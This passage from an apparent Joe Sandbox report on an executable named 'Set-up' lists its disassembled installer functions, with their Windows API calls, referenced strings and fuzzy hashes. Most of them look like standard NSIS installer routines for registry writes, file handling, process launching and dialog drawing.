Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0000E000,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(00000000), ref: 00402387

Memory Dump Source

